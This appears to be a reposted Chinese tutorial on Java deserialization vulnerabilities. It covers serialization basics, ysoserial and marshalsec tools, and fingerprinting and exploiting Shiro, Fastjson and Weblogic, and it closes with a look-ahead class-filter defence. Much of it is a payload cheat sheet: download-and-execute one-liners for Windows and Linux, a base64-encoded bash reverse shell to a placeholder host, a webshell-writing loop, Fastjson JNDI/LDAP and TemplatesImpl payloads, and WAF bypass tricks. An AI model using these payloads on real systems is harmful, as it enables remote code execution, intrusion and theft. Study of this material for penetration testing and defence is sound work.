Java反序列化


基础

序列化

将对象转换为字节序列的过程,ObjectOutputStreamwriteObject()方法实现序列化

反序列化

将字节序列还原为对象的过程,ObjectInputStreamreadObject()方法实现反序列化

序列化的作用

  • 远程方法调用

  • 便于通过网络传输对象至远程系统

  • 便于存储对象在数据库或本地文件

序列化条件

  • 该类必须实现 java.io.Serializable 接口。

  • 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。

注:transient关键字修饰的变量不进行序列化。

SerializationDumper

将字节序列转成易读形式的工具

java -jar SerializationDumper-Shiro.jar -r test.obj

反序列化

public class Deserialize {
  public static void main(String[] args) throws IOException, ClassNotFoundException {
  FileInputStream fis = new FileInputStream("test.obj");
  ObjectInputStream ois = new ObjectInputStream(fis);
  User user = (User) ois.readObject();
  ois.close();
  System.out.println("User: " + user);
  System.out.println("Name: " + user.getName());
  System.out.println("Email: " + user.getEmail());
  }
} 
  • serialVersionUID是在JAVA序列化、反序列化时起作用的一个字段

  • JAVA的序列化机制是通过判断类serialVersionUID来验证版本的一致性

  • 在进行反序列时,JVM会把传来的字节流中的serialVersionUID与对应类的serialVersionUID进行比较,如果一致则进行反序列化,否则会出现异常

  • 如过可序列化的类没有显示声明serialVersionUID的值,会根据算法计算得到serialVersionUID,编译器实现不同可能导致serialVersionUID有所不同。

反序列化漏洞

漏洞原理

  • Source 接收不信任的数据进行反序列化

  • Sink可利用的Gadget Chains

漏洞危害

RCE、DOS、SSRF、etc.

易受攻击协议

  • RMI (Remote Method Invocation)

  • JMX (Java Management Extension)

  • JMS (Java Messaging System)

  • AMF (Action Message Format)

  • Weblogic T3

  • Customer Application Protocol

  • ...

易受攻击组件

  • Weblogic

  • JBoss

  • Shiro

  • WebSphere

  • Fastjson

  • Jenkins

  • JSF ViewState

  • ...

漏洞挖掘

ysoserial

Payload生成工具:java -jar ysoserial-[version]-all.jar [payload] '[command]'

Payloads

BeanShell C3P0 CommonsBeanutils1 JBossInterceptors1
FileUpload1 Myfaces1 CommonsCollections1 JRMPClient
Groovy1 Myfaces2 CommonsCollections2 JRMPListener
Hibernate1 ROME CommonsCollections3 JavassistWeld1
Hibernate2 Spring1 CommonsCollections4 MozillaRhino1
JSON1 Spring2 CommonsCollections5 MozillaRhino2
Jdk7u21 URLDNS CommonsCollections6 Wicket1
Jython1 Vaadin1 CommonsCollections7 ......

URLDNS

java -jar ysoserial-[version]-all.jar URLDNS 'http://xxx.burpcollaborator.net'

  • 需支持DNS查询

  • JDK自带,不依赖于第三方库

  • 最简单的payload,虽然不能RCE,却是反序列化漏洞检测最简单和最有效的办法

Gadget Chain

通过HashMap触发DNS查询。

HashMap.readObject()HashMap.putVal()HashMap.hash()URL.hashCode()

CommonsCollections1

java -jar ysoserial-[version]-all.jar URLDNS 'http://xxx.burpcollaborator.net'
  • 依赖于commons-collections:3.1

  • 很多Java应用都有在用Apache Commons Collections库

  • 反序列化漏洞里很经典的payload,2015年最被低估的漏洞,影响weblogic、websphere、jboss等各大Java应用

GadgetProbe

通过DNS盲打识别远程服务器classpath上的类,库,和库版本

  • Java反序列化漏洞一般无回显,通过GadgetProbe先获取存在的类和库,再用对应的payload去打

  • 参照URLDNS,不依赖于第三方库

  • 支持BurpSuite Extension

  • 支持作为Java库或者CLI使用,可以灵活使用和修改

marshalsec

可以方便的开启RMI和LDAP服务,还可以用于生成Jackson、Xstream等payload

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

开启LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.1:80/#Poc

开启RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.1.1:80/#Poc

Shiro反序列化漏洞

识别

在请求的Cookie中添加rememberMe=test,如果响应包中包含rememberMe=deleteMe则判断为Shiro

SHIRO-550

Shiro≤1.2.4版本,默认使用了CookieRememberMeManager,其处理Cookie的流程是:得到rememberMe的Cookie值 → Base64解码 → AES解密 → 反序列化,由于AES使用默认的Key、常见的Key、Key泄漏等原因导致反序列化的Cookie可控,从而引发反序列化漏洞。

Blind盲利用

下载执行/反弹

Windows

powershell.exe -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://x.x.x.x:80/p'))"
certutil -urlcache -split -f http://x.x.x.x/test.exe c:\\windows\\temp\\test.exe && c:\\windows\\temp\\test.exe
bitsadmin /transfer n http://x.x.x.x/test.exe c:\\windows\\temp\\test.exe && c:\\windows\\temp\\test.exe
regsvr32 /s /n /u /i:http://x.x.x.x:80/r scrobj.dll 

Linux

wget -O /tmp/test.sh x.x.x.x:80/test.sh;chmod +x /tmp/test.sh;/tmp/test.sh
curl -O /tmp/test.sh x.x.x.x:80/test.sh;chmod +x /tmp/test.sh;/tmp/test.sh
bash -c {echo,YmFzaCAtaSAvZGV2L3RjcC94LngueC54LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i} 

写webshell文件

关键寻找Web应用路径

Windows

Windows直接命令执行写webshell会比较麻烦,可以先将命令执行转为代码执行(修改ysoserial代码实现)

Linux

find /|grep jquery.form.js|while read f; do sh -c "whoami" > (dirnamef)/test.txt;done

构造回显

在不通外网的情况下,漏洞利用就会很艰难了。但是可以考虑通过报错、web获取当前上下文对象、修改当前网络连接描述文件等方法获取回显

https://xz.aliyun.com/t/7348

https://xz.aliyun.com/t/7535

SHIRO-721

rememberMe cookie通过AES-128-CBC模式加密,容易收到Padding Oracle攻击。攻击者可以使用有效的rememberMe cookie作为Padding Oracle攻击的前缀,然后精心制作rememberMe来执行反序列化攻击。

Fastjson反序列化漏洞

Fastjson识别

  • 破坏json格式,引发报错

  • 目标可能支持多种数据格式提交,可将Content-Type修改为application/json试一下

  • OOB检测

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"0"}
Set[{"@type":java.net.URL","val":"dnslog"}]
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}

# 1.2.24版本 
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:1099/Exploit","autoCommit":true}

# 1.2.25-41版本
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"ldap://x.x.x.x:1099/Exploit","autoCommit":true}

# 1.2.25-45版本(黑名单绕过,需要有第三方组建ibatis-core 3:0)
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties"{"data_source":"ldap://x.x.x.x:1099/Exploit"}}

# 1.2.21-47版本
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:1099/Exploit","autoCommit":true}} 

服务器不同外网

BasicDataSource

{{"x":{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$class的BCEL编码"}}:"x"} 

TemplatesImpl

前提:需要设置Feature.SupportNonPublicField

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["class的base64"],"_name":"a.b","_tfactory":{},"_outputProperties":{},"_version":"1.0","allowedProtocols":"all"}

Tips

  • RMI限制比较多,建议用LDAP

    • RMI适用版本:JDK 6u132、7u122、8u113之前

    • LDAP适用版本:JDK 11.0.1、8u191、7u201、6u211之前

  • 如果LDAP能获取服务器访问请求,但是reference无法加载远程class文件,一般是由于JDK版本问题,需要考虑绕过JDK版本限制

  • 如果LDAP能获取服务器访问请求,reference可以加载远程class文件,但是代码没有被成功执行,一般是本地编译POC的JDK版本和目标服务器版本不一致,本地编译换JDK版本即可

Weblogic反序列化漏洞

识别

404页面
/console
/uddiexplorer
/wls-wsat/CoordinatorPortType
/bea_wls_deployment_internal/DeploymentService
/_async/AsyncResponseService

CVE

CVE-2015-4852 CVE-2018-2893 CVE-2019-2729
CVE-2016-0638 CVE-2018-3191 CVE-2020-2551
CVE-2016-3510 CVE-2018-3245 CVE-2020-2555
CVE-2017-3248 CVE-2019-2618
CVE-2018-2628 CVE-2019-2725

Java反序列漏洞Bypass

WAF

WAF是最常见的防御手段,但是WAF对于反序列化攻击的防御还是有点心有余而力不足。WAF主要还是依靠黑名单规则,常见的绕过手段有:

  • 寻找新的Gadget

  • Payload加密的基本直接过,比如Shiro反序列化漏洞

  • 还有拦/wls_wsat/CoordinatorPortType11的,结合Weblogic特性加上;/../x即可绕过

Look-Ahead Check

通过重写ObjectInputStream的resolveClass增加黑名单或者白名单类

  • Weblogic

  • SerialKiller

public class LookAheadObjectInputStream extends ObjectInputStream {
  
  public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
    super(inputStream);
  }
  
  /**
  * Only deserialize instances of our expected Bicycle class
  */
  @Override
  protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,ClassNotFoundException {
    if (!desc.getName().equals(Bicycle.class.getName())) {
      throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
    }
    return super.resolveClass(desc);
  }
} 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM